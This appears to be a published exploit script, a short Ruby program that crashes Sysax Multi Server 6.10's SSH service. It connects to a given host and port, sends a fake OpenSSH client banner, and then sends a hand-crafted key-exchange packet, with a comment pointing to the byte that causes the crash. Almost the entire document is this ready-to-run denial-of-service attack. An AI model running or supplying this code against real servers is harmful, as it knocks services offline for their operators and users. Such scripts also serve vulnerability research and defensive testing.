Sysax Multi Server 6.10 SSH Denial Of Service

`#!/usr/bin/env ruby  
# Sysax Multi Server 6.10 SSH DoS  
# Matt "hostess" Andreko < mandreko [at] accuvant.com >  
# http://www.mattandreko.com/2013/04/sysax-multi-server-610-ssh-dos.html  
  
require 'socket'  
  
unless ARGV.length == 2  
puts "Usage: ruby #{$0} [host] [port]\n"  
exit  
end  
  
packet = [0x00, 0x00, 0x03, 0x14, 0x08, 0x14, 0xff, 0x9f,  
0xde, 0x5d, 0x5f, 0xb3, 0x07, 0x8f, 0x49, 0xa7,  
0x79, 0x6a, 0x03, 0x3d, 0xaf, 0x55, 0x00, 0x00,  
0x00, 0x7e, 0x64, 0x69, 0x66, 0x66, 0x69, 0x65,  
0x2d, 0x68, 0x65, 0x6c, 0x6c, 0x6d, 0x61, 0x6e,  
0x2d, 0x67, 0x72, 0x6f, 0x75, 0x70, 0x2d, 0x65,  
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0x73, 0x68, 0x61, 0x32, 0x35, 0x36, 0x2c, 0x64,  
0x69, 0x66, 0x66, 0x69, 0x65, 0x2d, 0x68, 0x65,  
0x6c, 0x6c, 0x6d, 0x61, 0x6e, 0x2d, 0x67, 0x72,  
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#3rd byte in this next line causes crash  
0x00, 0x00, 0x28, 0x7a, 0x6c, 0x69, 0x62, 0x40,  
0x6f, 0x70, 0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e,  
0x63, 0x6f, 0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62,  
0x2c, 0x6e, 0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00,  
0x1a, 0x7a, 0x6c, 0x69, 0x62, 0x40, 0x6f, 0x70,  
0x65, 0x6e, 0x73, 0x73, 0x68, 0x2e, 0x63, 0x6f,  
0x6d, 0x2c, 0x7a, 0x6c, 0x69, 0x62, 0x2c, 0x6e,  
0x6f, 0x6e, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00].pack("C*")  
  
host = ARGV[0]  
port = ARGV[1]  
  
sock = TCPSocket.open(host, port)  
  
banner = sock.gets()  
puts banner  
  
sock.puts("SSH-2.0-OpenSSH_5.1p1 Debian-5ubuntu1\r\n")  
sock.puts(packet)  
resp = sock.gets()  
  
sock.close()  
  
`